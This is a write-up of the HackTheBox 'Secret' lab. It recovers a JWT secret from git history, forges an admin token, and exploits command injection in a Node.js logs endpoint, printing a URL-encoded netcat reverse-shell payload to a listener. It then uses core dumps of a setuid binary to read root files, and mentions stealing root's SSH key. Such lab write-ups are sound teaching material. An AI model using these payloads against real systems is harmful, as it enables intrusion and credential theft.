CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Secret

jwt git setuid core-dump strings

Secret is a Linux-based machine authored by z9fr, with an average rating of 4.1 stars.

// Recon

nmap -A -p- secret.htb
Nmap scan report for secret.htb (10.10.11.120)
Host is up (0.025s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.55 seconds

Nmap reveals the usual ssh server running on port 22, as well as two webservers:

Based on the identical appearance of the site retrieved on either port, it’s likely the nginx server (80) is simply routing the request to the Express server (3000) internally.

// Initial Foothold

The site provides documentation for an API based authentication system, that makes use of JWT (JSON Web Tokens). Several endpoints are outlined, that cover the typical authentication lifecycle (registration, login, privilege check etc). We also have the ability to download the project’s full source-code from the homepage, which is always a great place to start looking for vulnerabilities:

Browsing the source-code gives us the ability to take a closer look at the implementation of the endpoints. The privileges check endpoint at /api/privs for example, determines if the user is an administrator by simply checking the supplied username in the request:

router.get('/priv', verifytoken, (req, res) => {

const userinfo = { name: req.user }

const name = userinfo.name.name;

    if (name == 'theadmin'){
        res.json({
                role:{

                    role:"you are admin", 
                    desc : "{flag will be here}"
                }
            })
        }
    ...

Unfortunately, we can’t just set our username to theadmin and gain access to this endpoint, due to the presence of the verifytoken middleware in the router. This check requires an auth-token header to be provided in every privileged request, and the token must be verifiable against the server’s secret (stored in process.env.TOKEN_SECRET):

const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
};

So what exactly is a JSON Web Token? JWT provides an “open, industry standard method of representing claims securely between two parties”. Similar to the HTTP bearer token approach, its a value that must be passed with each request to confirm the user is who they claim to be. In this case, the token is generated (or “signed”) by the API when the user logs in, and then must be supplied as an HTTP header in subsequent privileged requests. The source-code shows us how the token is generated when a call to /api/login is made:

...
// check if email is okay 
const user = await User.findOne({ email: req.body.email })
if (!user) return res.status(400).send('Email is wrong');

// check password 
const validPass = await bcrypt.compare(req.body.password, user.password)
if (!validPass) return res.status(400).send('Password is wrong');

// create jwt 
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);

The second-last line of this snippet is the important part:

const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )

This shows that the token is generated by passing two parameters to the jwt.sign function:

  1. a user object, that includes the previously mentioned name property
  2. a secret key, that is used to encrypt the object

Websites such as jwt.io provide the same signing functionality via a browser, as well as the inverse decryption/validation of a token. We already know the structure of the token we want to achieve, but if we want to be able to pass verification, we must have the correct secret from the server. The code above indicates TOKEN_SECRET is provided as an environment variable, and looking in the source-code folder there is a .env file present:

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

But unfortunately, secret is not the real secret value, as confirmed by the jwt.io validator.

Returning to the source-code again, we can see there is another private endpoint /logs, which looks to provide the git log information for a given file to the admin user. The endpoint route actually makes use of the git log.. command-line tool, which for those who aren’t familiar with software development means there must be a .git folder present, that contains the necessary git objects to support this.

Git repos, and the modification history they maintain, are notorious for leaking sensitive information. If a file containing credentials or secrets is committed, it can be retrieved by an attacker at a later date, even if the original developers have since deleted it (this article from GitHub outlines the correct way to ensure sensitive data is properly removed from a repo’s history).

Given that we have the .git folder, the easiest way to look at the development history of the repo is to open the project in an application like SourceTree:

Sure enough we can see that in a previous commit, the developer removed the real value for the token, gXr67.., probably as they were preparing to deploy the application. With the real secret obtained, we can now use jwt.io to encode a valid token that includes name: theadmin, allowing us to access the admin-only endpoints.

// User-Flag

Looking closer at the implementation of the /logs endpoint, we can see the function expects the user to supply a single filename to run the git command against:

...
const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            ...

This implementation is highly insecure, due to the combination of exec() and unvalidated user input. While the developer may have assumed the user would only ever supply a single filename, e.g. /api/logs/file=index.js, that would have resulted in the command git log --oneline index.js being executed, there is nothing to prevent a malicious user supplying input such as /api/logs?file=index.js;[another command here], which will result in multiple commands being executed. Sure enough, calling the endpoint:

/api/logs?file=index.js%3Bwhoami

confirms we are able to run multiple commands:

"ab3e953 Added the codes\ndasith\n"

From here, we can create a reverse-shell listener using the excellent penelope shell handler:

$ python penelope.py 4444
[+] Listening for reverse shells on 0.0.0.0 4444

and then issue a call to the api that will establish the connection and retrieve the user flag (taken from HighOn.Coffee Reverse Shell Cheat Sheet, several variants needed to be tested to find one that was compatible with OpenBSD netcat on the target machine):

/api/logs?file=index.js%3brm+/tmp/sec%3bmkfifo+/tmp/sec%3bnc+10.10.14.9+4444+0</tmp/sec+|+/bin/bash+-i+2>%261+|tee+/tmp/sec

[+] Got reverse shell from 🐧 secret.htb~10.10.11.120 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12

cat ~/user.txt
32a.............................

// Privilege Escalation

As part of the usual privilege escalation enumeration checklist, we can see there is a setuid binary at /opt/count. Running this program reveals that it is some kind of file analyser, receiving a specified directory or file and returning the number of characters and words contained:

dasith@secret:/opt$ ./count
Enter source file/directory name: /home/dasith/user.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: y
Path: /tmp/user_count
dasith@secret:/opt$

There is also a code.c file in the /opt directory, which looks to be the source code for the count program. Reviewing this code indicates that the reason the setuid bit is enabled is to allow this root-owned program to read in any file on the system, regardless of ownership:

...
file = fopen(path, "r");

but it then drops this privilege, when writing out the results file:

...
// drop privs to limit file write
setuid(getuid());
...

This means that this program can read all files inside /root, including the system-own key at /root.txt. It can’t tell us the contents of the file, but further reading of the code indicates that coredump generation is enabled:

...
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);

For those not familiar with C programming, core dumps are an often-dreaded part of the development process, usually occuring when you’ve messed up your memory management (modern programming languages generally do a much better job of handling this kind of thing). While they can be frustrating to resolve, they can also provide useful information about the state of the program when it crashes, including values held in memory. In this case, we can use the fact core dumps are enabled to reveal the value of the file variable, once the file we are interested in has been read into memory. To do this requires two sessions to be active - one to run the binary and leave it active after the file we want has been loaded into memory:

# Session 1
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]:

and another to kill the process with the correct -BUS signal, meaning the core will be dumped:

# Session 2
dasith@secret:~/local-web$ ps aux | grep count
root         841  0.0  0.1 235680  7472 ?        Ssl  Nov23   0:00 /usr/lib/accountsservice/accounts-daemon
dasith      1660  0.0  0.0   2488   520 pts/0    S+   01:35   0:00 ./count
dasith      1667  0.0  0.0   6432   740 pts/1    S+   01:37   0:00 grep --color=auto count
dasith@secret:~/local-web$ kill -BUS 1660

and in our first session, we can see the core has been dumped:

Bus error (core dumped)

We can now locate the crash data in /var/crash, unpack it and examine the core dump for readable strings, including the value of /root/root.txt that existed in memory at the time of the crash:

dasith@secret:~/local-web$ cd /var/crash/
dasith@secret:/var/crash$ ls -l
total 84
-rw-r----- 1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28881 Nov 24 01:37 _opt_count.1000.crash
-rw-r----- 1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /tmp/crash && apport-unpack _opt_count.1000.crash /tmp/crash
dasith@secret:/var/crash$ cd /tmp/crash
dasith@secret:/tmp/crash$ ls
Architecture  Date           ExecutablePath       ProblemType  ProcCwd      ProcMaps    Signal  UserGroups
CoreDump      DistroRelease  ExecutableTimestamp  ProcCmdline  ProcEnviron  ProcStatus  Uname
dasith@secret:/tmp/crash$ strings CoreDump
CORE
CORE
count
./count
IGISCORE
CORE
ELIFCORE
/opt/count
...
/root/root.txt
4...............................

An alternative approach would have been to run ./count /root/.ssh/id_rsa, kill the process and review the core dump to steal the root user’s private key, which could be used to login as root and retrieve the key directly.